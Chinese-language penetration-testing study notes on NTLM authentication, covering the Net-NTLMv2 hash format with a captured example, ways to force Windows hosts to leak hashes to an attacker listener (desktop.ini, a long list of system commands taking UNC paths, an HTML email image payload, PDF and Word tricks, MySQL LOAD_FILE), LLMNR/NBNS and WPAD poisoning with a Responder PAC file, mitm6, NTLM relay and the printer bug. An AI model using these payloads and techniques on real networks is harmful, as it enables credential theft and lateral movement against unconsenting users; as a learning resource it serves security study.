一、MIC
将我们上次未描述完的MIC在这里详细解释一下
咱们所抓的第二个包会给返回一个服务端的challenge
之后服务器回包的第三个包会回复一个client challenge
所以咱们客户端和服务端现在分别有两个challenge，相当于客户端和服务端互相交换了一下challenge
因此
对于MIC，有如下计算公式：
**MIC =**HMAC_MD5(exportedSessionKey, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE)
相当于第一个请求type1，和第二个请求type2，第三个请求type3，用了一个客户端生成的随机数，之后通过MD5进行了加密
那篡改就面临两个问题第一个不知道随机数，包括password是hash值
随机数生成方式：
对于攻击者，由于没有用户hash，也就没办法生成key_exchange_key，虽然在流量里面能够拿到encrypted_random_session_key，但是没有key_exchange_key，也就没办法运算出exported_session_key，也就没法对流量进行加解密。从而进行Relay。
而对于NTLMv2 Hash 和NTProofStr，有如下计算公式。
· NTLMv2 Hash= HMAC-MD5(unicode(hex((upper(UserName)+DomainName))), NTLM Hash)
· NTProofStr= HMAC-MD5(challenge + blob, NTLMv2 Hash)
如图所示，可以看到在NTLMv2 Response响应消息下的MIC字段。
我们的Response=NTProofStr+blob，所以我们用Response减掉NTProofStr就是我们的blob
DomainName：没有的话一般是本机的名字
最终它拼接的时候：
其中各部分含义如下：
**· username（要访问服务器的用户名）：**administrator
**· domain（域信息）：**WIN7
**· challenge（数据包6中服务器返回的challenge值[service challenge]）：**f9e7d1fe37e7ae12
· HMAC-MD5（数据包7中的NTProofStr）: 202beed8c64468318318bad6e8ae8326
**· blob（blob对应数据为数据包7中NTLMv2 Response去掉NTProofStr的后半部分）：**010100000000000000d248080d47d701684da093c89fd679000000000200080036004300380035000100080036004300380035000400080036004300380035000300080036004300380035000700080000d248080d47d70106000400020000000800300030000000000000000000000000300000ea8d4184d6934f5434f43abebde4a1b32162f75dbf6a799f74b049823a1522050a001000000000000000000000000000000000000900200063006900660073002f00310030002e003200310031002e00350035002e003700000000000000000000000000
所以最后Net-NTLM v2 Hash值为如下：
administrator::WIN7:f9e7d1fe37e7ae12:202beed8c64468318318bad6e8ae8326:010100000000000000d248080d47d701684da093c89fd679000000000200080036004300380035000100080036004300380035000400080036004300380035000300080036004300380035000700080000d248080d47d70106000400020000000800300030000000000000000000000000300000ea8d4184d6934f5434f43abebde4a1b32162f75dbf6a799f74b049823a1522050a001000000000000000000000000000000000000900200063006900660073002f00310030002e003200310031002e00350035002e003700000000000000000000000000
所以最终我们可以实现我们的目的
从下面两个公式我们可以计算出NTLMv2 Hash、NTProofStr以及Reseonse。
- NTLMv2 Hash = HMAC-MD5(unicode(hex((upper(UserName)+DomainName))), NTLM Hash)
- **NTProofStr =**HMAC-MD5(challenge + blob, NTLMv2 Hash)
最终拿到HTLM Hash
我们拿到用户的hash实则是可以横向的
二、工具介绍
2.1hashcat
我们是有一款工具hashcat专门破解net-HTLMv2-Hash
MD5的值不是破解出来的，是对明文对出来的
但是对于破解net-HTLMv2-Hash概率很小
2.2Responder
这款工具在kill里面是自带的，它可以用来监听你的网卡
三、发起NTLM请求（获取Net-hash）
3.1desktop.ini
3.1.1开始前的准备，把隐藏勾选掉，显示文件夹
3.1.2创建一个新的文件，进入目录下如果没有生成隐藏文件ini，如下图，给换个图标
3.1.3修改图标文件下的Resource，让其每次访问的时候都指向我们的服务器
3.1.4我们监听一下网卡
修改如下
当用户访问该文件夹的时候会去访问UNC路径,我们就能获取用户的net-ntlm hash
但是经过我测试在win10下行不通，原作者在win7下我看是可以的
3.2scf文件
这个我测试了在win10下是不行的
3.3用户图像
适用于Windows 10/2016/2019
在更改账户图片处。
用普通用户的权限指定一个webadv地址的图片，如果普通用户验证图片通过，那么SYSTEM用户(域内是机器用户)也去访问172.16.100.180，并且携带凭据，我们就可以拿到机器用户的net-ntlm hash
但是经过测试，现如今这种方法已经不适用了
3.4系统命令携带UNC路径
> net.exe use \hostshare
> attrib.exe \hostshare
> bcdboot.exe \hostshare
> bdeunlock.exe \hostshare
> cacls.exe \hostshare
> certreq.exe \hostshare #(noisy, pops an error dialog)
> certutil.exe \hostshare
> cipher.exe \hostshare
> ClipUp.exe -l \hostshare
> cmdl32.exe \hostshare
> cmstp.exe /s \hostshare
> colorcpl.exe \hostshare #(noisy, pops an error dialog)
> comp.exe /N=0 \hostshare \hostshare
> compact.exe \hostshare
> control.exe \hostshare
> convertvhd.exe -source \hostshare -destination \hostshare
> Defrag.exe \hostshare
> diskperf.exe \hostshare
> dispdiag.exe -out \hostshare
> doskey.exe /MACROFILE=\hostshare
> esentutl.exe /k \hostshare
> expand.exe \hostshare
> extrac32.exe \hostshare
> FileHistory.exe \hostshare #(noisy, pops a gui)
> findstr.exe * \hostshare
> fontview.exe \hostshare #(noisy, pops an error dialog)
> fvenotify.exe \hostshare #(noisy, pops an access denied error)
> FXSCOVER.exe \hostshare #(noisy, pops GUI)
> hwrcomp.exe -check \hostshare
> hwrreg.exe \hostshare
> icacls.exe \hostshare
> licensingdiag.exe -cab \hostshare
> lodctr.exe \hostshare
> lpksetup.exe /p \hostshare /s
> makecab.exe \hostshare
> msiexec.exe /update \hostshare /quiet
> msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)
> mspaint.exe \hostshare #(noisy, invalid path to png error)
> msra.exe /openfile \hostshare #(noisy, error)
> mstsc.exe \hostshare #(noisy, error)
> netcfg.exe -l \hostshare -c p -i foo很明显这种方法是可行的
而我们光拿到这个是没有用的，接下来我们需要用密码字典去破解，但是八成是不行的，因为很难匹配上
那现在拿到这个值没用？
但是实际上作用很大，后面会说咱们先了解如何获取net-ntlm hash
3.4xss构造（做个钓鱼网站让其访问）
我们来用小皮快速构造验证一下
这种情况适用于IE和edge，其他浏览器不允许从http域跨到file域，以edge为例，修改相应设置之后
直接成功
3.5邮件
发送邮件是支持html的，而且outlook里面的图片加载路径又可以是UNC。于是我们构造payload
复制
<img src="\\172.16.100.1\outlook">
当收件人打开邮箱的时候
我们就拿到net html hash了
3.6PDF
PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能，请求远程SMB服务器的文件。我们直接使用三好学生的脚本GitHub - 3gstudent/Worse-PDF: Turn a normal PDF file into malicious.Use to steal Net-NTLM Hashes from windows machines.
我们就收到net-ntlm hash
注：只能使用 Adobe
3.7office
首先新建一个word，贴进去一张图片
3.8添加图片
然后用7zip 打开（别用wps会失效）
进入word\_rels，修改document.xml.rels
可以看到Target参数本来是本地的路径
修改为UNC路径，然后加上TargetMode="External"
当打开word的时候,我们就拿到net-ntlm hash
3.9mysql
现在的环境测试不太行
我去win7上尝试
需要具备load_file权限，且没有secure_file_priv的限制(5.5.53默认是空，之后的话默认为NULL就不好利用了,不排除一些管理员会改)
仔细观察我们会发现LOAD_FILE是支持UNC路径
成功
利用场景太苛刻
四、来看两个协议
4.2NBNS和LLMNR
来抓包
dns先查缓存，缓存查不到差host文件，host文件查不到走到路由器内置dns查根域的13台，13台以后看你请求的com还是cn等等顶级域，假如com顶级域让你查百度，找到百度dns，之后把服务器ip返回给咱，然后路由器返回给它，这是可以收到的流程，假如绑定的域名收不到，我们所说所有解析不成功的情况下，会发给路由器，路由器会广播，如果找到返回，如果没找到就是没找到了
之后还会继续广播，可以看到图片上172.16.100.1有回应（而这个是我的监听）
假设一个场景吧
接下来windows会找，虽然没有找不到但是nbns协议已经开始寻找了
windows 解析域名的顺序是
-
Hosts
-
DNS (cache / server)
-
LLMNR
-
NBNS
但是不管怎么解析都是通过广播来找的，是不是有点类似网络中的ARP欺骗
因为多了一个请求，我们多加一个参数
浏览器请求，自然抓到
4.3WPAD和mitm6（2016年以后微软出了补丁已解决）
wpad 全称是Web Proxy Auto-Discovery Protocol ，通过让浏览器自动发现代理服务器，定位代理配置文件PAC(在下文也叫做PAC文件或者wpad.dat)，下载编译并运行，最终自动使用代理访问网络。
现在默认是关闭的，我们只是为了测试
内部流程是
用户在访问网页时，首先会查询PAC文件的位置，然后获取PAC文件，将PAC文件作为代理配置文件。
查询PAC文件的顺序如下：
-
通过DHCP服务器
-
查询WPAD主机的IP
-
Hosts
-
DNS (cache / server)
-
LLMNR
-
NBNS
这个地方就涉及到两种攻击方式
-
4.3.1. 配合LLMNR/NBNS投毒
这是最早的攻击方式。用户在访问网页时，首先会查询PAC文件的位置。查询的地址是WPAD/wpad.dat。如果没有在域内专门配置这个域名的话，那么DNS解析失败的话，就会使用LLMNR发起广播包询问WPAD对应的ip是多少,这个时候我们就可以进行LLMNR投毒和NBNS投毒。Responder可以很方便得实现。
- 受害者通过llmnr询问wpad主机在哪里，Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器
- 受害者访问WPAD/wpad.dat，Responder就能获取到用户的net-ntlm hash(这个Responder默认不开，因为害怕会有登录提醒，不利于后面的中间人攻击，可以加上
-F开启)
-
然后Responder通过伪造如下pac文件将代理指向 ISAProxySrv:3141。
复制
function FindProxyForURL(url, host){ if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv") ||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';} -
受害者会使用ISAProxySrv:3141作为代理，但是受害者不知道ISAProxySrv对应的ip是什么，所以会再次查询，Responder再次通过llmnr投毒进行欺骗。将ISAProxySrv指向Responder本身。然后开始中间人攻击。这个时候可以做的事就很多了。比如插入xss payload获取net-ntlm hash，中间人获取post，cookie等参数，通过basic认证进行钓鱼，诱导下载exe等等，Responder都支持。这里就不详细展开了
然而，微软在2016年发布了MS16-077安全公告，添加了两个重要的保护措施，以缓解这类攻击行为：
1、系统再也无法通过广播协议来解析WPAD文件的位置，只能通过使用DHCP或DNS协议完成该任务。
2、更改了PAC文件下载的默认行为，以便当WinHTTP请求PAC文件时，不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。
4.3.2. 配合DHCPv6
dirkjanm/mitm6: pwning IPv4 via IPv6 (github.com)
前面说过，针对在查询WPAD的时候进行投毒欺骗这种攻击方式，微软添加了两个重要的保护措施
1、系统再也无法通过广播协议来解析WPAD文件的位置，只能通过使用DHCP或DNS协议完成该任务。
2、更改了PAC文件下载的默认行为，以便当WinHTTP请求PAC文件时，不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。
第二个保护措施比较好绕过，我们先来绕过这个。更改了PAC文件下载的默认行为，以便当WinHTTP请求PAC文件时，不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。这个其实比较好解决，在访问pac文件的时候，我们没办法获取到用户的net-ntlm hash。其实默认responder就不想在这一步获取net-ntlm hash，他默认不开启，要手动加-F选项才能开启。我们可以给用户返回一个正常的wpad。将代理指向我们自己，然后我们作为中间人。这个时候可以做的事就很多了。比如插入xss payload获取net-ntlm hash，中间人获取post，cookie等参数，通过basic认证进行钓鱼，诱导下载exe等等。这个可以回去上一小节配合LLMNR/NBNS投毒看看。
在网上也有一种比较巧妙的绕过姿势。我们可以给用户返回一个正常的wpad。将代理指向我们自己，当受害主机连接到我们的"代理"服务器时，我们可以通过HTTP CONNECT动作、或者GET请求所对应的完整URI路径来识别这个过程，然后回复HTTP 407错误（需要代理身份验证），这与401不同，IE/Edge以及Chrome浏览器（使用的是IE设置）会自动与代理服务器进行身份认证，即使在最新版本的Windows系统上也是如此。在Firefox中，用户可以配置这个选项，该选项默认处于启用状态。
所以我们接下来的任务是要来绕过第一个保护措施
系统再也无法通过广播协议来解析WPAD文件的位置，只能通过使用DHCP选项或DNS协议完成该任务。这个就保证了llmnr投毒和nbns投毒不能用了。我们来回顾下用户获取pac文件的一般流程。
-
通过DHCP服务器
-
查询WPAD主机的IP
-
Hosts
-
DNS (cache / server)
-
LLMNR
-
NBNS
在MS16-077之后，通过DHCP和DNS协议还可以获取到pac文件。
DHCP和DNS都有指定的服务器，不是通过广播包，而且dhcp服务器和dns服务器我们是不可控的，没法进行投毒。
幸运的是安全研究人员并不将目光局限在ipv4，从Windows Vista以来，所有的Windows系统（包括服务器版系统）都会启用IPv6网络，并且其优先级要高于IPv4网络。这里我们要用到DHCPV6协议。
DHCPv6协议中，客户端通过向组播地址发送Solicit报文来定位DHCPv6服务器，组播地址[ff02::1:2]包括整个地址链路范围内的所有DHCPv6服务器和中继代理。DHCPv6四步交互过程，客户端向[ff02::1:2]组播地址发送一个Solicit请求报文，DHCP服务器或中继代理回应Advertise消息告知客户端。客户端选择优先级最高的服务器并发送Request信息请求分配地址或其他配置信息，最后服务器回复包含确认地址，委托前缀和配置（如可用的DNS或NTP服务器）的Relay消息。通俗点来说就是，在可以使用ipv6的情况(Windows Vista以后默认开启),攻击者能接收到其他机器的dhcpv6组播包的情况下，攻击者最后可以让受害者的DNS设置为攻击者的IPv6地址。
Fox-IT公布了名为mitm6的一个工具，可以实施这种攻击。
mitm6首先侦听攻击者计算机的某个网卡上的DHCPV6流量。
-
- 当目标计算机重启或重新进行网络配置（如重新插入网线）时， 将会向DHCPv6发送请求获取IPv6配置
- 这个时候mitm6将回复这些DHCPv6请求，并在链接本地范围内为受害者分配一个IPv6地址。尽管在实际的IPv6网络中，这些地址是由主机自己自动分配的，不需要由DHCP服务器配置，但这使我们有机会将攻击者IP设置为受害者的默认IPv6 DNS服务器。应当注意，mitm6当前仅针对基于Windows的操作系统，因为其他操作系统（如macOS和Linux）不使用DHCPv6进行DNS服务器分配。
这个时候受害者的dns 服务器的地址已经设置为攻击者的IPv6地址。一旦受害机器将攻击者设置为IPv6 DNS服务器，它将立即开始查询网络的WPAD配置。由于这些DNS查询是发送给攻击者的，因此攻击者仅可以使用自己的IP地址作为WPAD对应的IP地址。
至此MS16-077的两个保护措施都能绕过，再遇到MS16-077之后的机子不妨试试这种方法。
Inveigh结合DNS v6配合NTLM Relay 攻击链的利用-腾讯云开发者社区-腾讯云 (tencent.com)
测试：安装win7，安装python2（因为现在默认都是python3），安装lnveigh
开始监听
投毒成功
对方打开浏览器直接成功
4.3.3realy（中间人攻击）
在Net-NTLM Hash的破解里面，如果是v1的话，拿到Net-NTLM就相当于拿NTLM HASH.这个时候就没有Relay的必要性了，但是在实际中遇到的例子往往不会是v1，而是v2。这个时候密码强度高一点，基本就跑不出来了，这种情况底下，不妨试一试Relay。
接下来我们拿到ntml hash后就需要进行一个中间人的realy，搭配ntmlrealyx
具体可以看这篇文章
图片解释：
NTLM Relay - cAr7n - 博客园 (cnblogs.com)
类似于arp欺骗
开始模拟：
kill
win-10开始毒化
win-7重启，用域控登录
错误原因：端口占用
执行成功：
4.3.4打印机漏洞
Windows的MS-RPRN协议用于打印客户机和打印服务器之间的通信，默认情况下是启用的。协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()调用创建一个远程更改通知对象，该对象监视对打印机对象的更改，并将更改通知发送到打印客户端。
任何经过身份验证的域成员都可以连接到远程服务器的打印服务（spoolsv.exe），并请求对一个新的打印作业进行更新，令其将该通知发送给指定目标。之后它会将立即测试该连接，即向指定目标进行身份验证（攻击者可以选择通过Kerberos或NTLM进行验证）。另外微软表示这个bug是系统设计特点，无需修复。
如下图，使用printerbug.py对172.16.100.5发起请求，172.16.100.5就会向172.16.100.1发起ntlm 请求。
目的让域控强制访问你想访问的任何机器 ，利用条件很高，需要一个域内普通用户的账户和密码